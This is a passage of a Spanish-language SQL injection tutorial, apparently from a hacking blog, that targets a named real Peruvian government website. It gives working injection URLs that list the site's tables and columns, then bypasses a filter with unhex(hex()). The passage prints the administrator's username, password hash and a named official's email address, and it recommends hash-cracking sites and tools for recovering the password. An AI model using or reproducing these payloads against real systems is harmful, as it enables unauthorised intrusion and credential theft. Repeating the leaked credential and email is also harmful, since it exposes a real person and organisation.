CHARACTER_SETS
CLIENT_STATISTICS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
INDEX_STATISTICS
ENGINES
EVENTS
FILES
GLOBAL_STATUS
GLOBAL_VARIABLES
KEY_COLUMN_USAGE
PARTITIONS
PLUGINS
PROCESSLIST
PROFILING
REFERENTIAL_CONSTRAINTS
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
SESSION_STATUS
SESSION_VARIABLES
STATISTICS
TABLES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TABLE_STATISTICS
THREAD_STATISTICS
TRIGGERS
USER_PRIVILEGES
USER_STATISTICS
VIEWS

 Así que para desaparecer esas  tablas y dejar solo las  que nos interesa armaremos la inyección de la siguiente manera agregando otras sentencias las cuales son: " +where+table_schema=database() "  que nos ayudaran a desaparecer esas molestas tablas :p quedando de la siguiente manera nuestra inyección.

http://www.osinfor.gob.pe/portal/destacados.php?id=-1+union+all+select+0,replace(group_concat(table_name),0x2C,0x3C62723E),2,3,4
+from+information_schema.tables+where+table_schema=database()--+

[+]
Tendríamos que verla así en el portal de esta manera como se muestra en la captura.

[+]Bingo ya tenemos las tablas que realmente nos interesa donde si observan la captura se nos refleja que si hay tablas muy interesantes como son: "osi_usuario,usuario,usuarioweb" :D

6- Bueno seguiremos sacando datos para llegar a nuestro objetivo que son el pass, y usuario del administrador así que para sacar las columnas de esas tablas lo sacaremos de la siguiente manera, armando nuestra inyección así y eligiendo la tabla (osi_usuario).

http://www.osinfor.gob.pe/portal/destacados.php?id=-1+union+all+select+0,replace(group_concat(column_name),0x2C,0x3C62723E),2,3,4
+from+information_schema.columns+where+table_name=0x6f73695f7573756172696f--+

Si nos enfocamos en lo rojo vamos a mirar que hemos cambiado ( table_name ) por ( column_name ) y hemos agregado al final un código hexadecimal el cual ese dichoso código es  la tabla que elegimos anteriormente la cual seria: ( osi_usuario ) el cual lo hemos encryptado en hexadecimal ya que si lo ponemos normal nos tiraría un error y no las columnas que deseamos de esa tabla. Así que armando la anterior inyección nos tiene que tirar estos datos como se miran en la captura.

[+]Para los que se preguntaran como encryptar las tablas de interés, les deja una pagina web que ofrece esos servicios la cual es: http://encodertool.com/hexadecimal algo que se me paso seria que cuando pongan el código hexadecimal siempre hay que agregarle al principio "0x" quedando de la siguiente manera ( 0x6f73695f7573756172696f ) para que lo reconozca como código hexadecimal si no lo ponen fijo les tira un error de sintaxis.

7- Lo siguiente que haremos sera sacar las columnas de la tabla (osi_usuario) y lo haremos de la siguiente manera. ya reduciendo lo que es la inyección ya que tenemos los datos de la tabla (osi_usuario), y armaremos la inyección como normalmente lo haría cualquier usuario que ah hecho una inyección SQLi quedando la inyección así:

http://www.osinfor.gob.pe/portal/destacados.php?id=-1+UNION+ALL+SELECT+
0,concat(usu_username,0x3a,usu_password,0x3a,usu_email),2,3,4
+from+osi_usuario--+

Si observan bien la inyección se reducio ya que solo dejamos ( concat ) y las columnas de la tabla (OSI_USUARIO) yo elegí las mas importantes en este caso son: ( usu_username,usu_password,usu_email ) y bien miran al lado tienen un codigo en Hexa que son

( 0x3a ) este código es una simple coma "," & unos simples 2 puntos ":" esto nos sirva para cuando nos tire los datos de esas columnas lo haga ordenadamente por ejemplo: USUARIO:PASS  Bueno si ejecutamos la inyección antes mencionada nos tiene que salir ya los datos de esas columnas y tiene que salir algo como esto:
[+]Oops...! Nos salio un error y se preguntaran ahora que carajo hacemos pues bien esta pagina la agarre por eso ya que cuando uno llegaba a este punto de la inyección nos tiraba ese error y eso por que hay un filtro que nos impide inyectar esas sentencias por que si bien se an fijado ya son los datos del administrador y creo que nos pusieron a pensar un poco como byppasear ese filtro, es por eso que este pequeño detalle hace diferente este tutorial ya que por lo general todos los manuales & tutoriales son las típicas inyecciones sin restricciones y es aquí cuando el usuario queda en las nubes así que para byppasear ese filtro lo que haremos sera meterle a la inyección otras sentencias las cuales son: " unhex(hex " con esta sentencia lo que le diremos a la inyección es que nos lea los datos en hexadecimal y así pasar desapercibido el filtro así de sencillo y lo ponemos de la siguiente manera quedando asi:

http://www.osinfor.gob.pe/portal/destacados.php?id=-1+UNION+ALL+SELECT+
0,unhex(hex(group_concat(usu_username,0x3a,usu_password,0x3a,usu_email))),2,3,4+from+osi_usuario--+

[+]Si lo ven lo pusimos al inicio de group_concat abriendo 2 corchetes y haciendo el cierre del mismo. y es ahí donde nos tiene que aparecer ya los datos del administrador en este caso seria el,

USUARIO,PASSWORD,CORREO. quedando así como en la captura:
[+]Listo datos ya en nuestro poder como ven nos arrojo el usuario la pass encryptada en MD5 y el correo ahora como nos arrojo la pass encryptada en MD5 el siguiente paso seria buscar como desencryptar dicha pass y los datos obtenido son los siguientes:

*Usuario: adminosinfor
*Password: b1d3c55bf7f44d4def7afd2686c1a3d8
*Email: hbejarano@osinfor.gob.pe


*Ahora les dejare unas paginas Online donde podrán desencryptar la pass:
*Pero también existen Scripts en PERL,PHYTON  que nos hacen ese trabajo también existen muchos software que lo hacen por diccionario como el HashCat muy bueno lo recomiendo.

http://www.hashchecker.de/

http://md5.rednoize.com/
http://md5.noisette.ch/
https://md5.darkbyte.ru/
http://www.hash-cracker.com/
http://www.unmd5.me/
http://md5decrypter.co.uk/
http://www.stringfunction.com/md5-decrypter.html
http://www.md5decrypt.org/

[+]Luego que tengamos el password ya desencryptada lo que haremos sera buscar el panel de control de dicha pagina web, esto también lo haremos con loa ayuda de unos scripts también algunos programas lo traen como el Havij. pero esto se lo debo para el siguiente tutorial, como buscar un panel de control de X web con diferentes métodos así que esperen el tutorial, también les ensenare como usar los scripts que hacen lo mismo buscan el panel del administrador. Asi que esto ah sido todo espero les haya ayudado en algo y como dije anteriormente este tutorial es algo especial ya que aprendimos byppasear 1 filtro mas adelante también les ensenare bypasear otros que nos molestan cuando estamos realizando nuestras inyecciones.!

Nota: Si queréis llevar el tutorial para tu blog,web,foro,etc solo os pido que pongan el autor y la fuente. Saludos :)

Fuente: http://blackophn.blogspot.com/2014/05/tutorial-aprendiendo-inyeccion-sqli.html
Powered by Bad Robot
Helped by Blackubay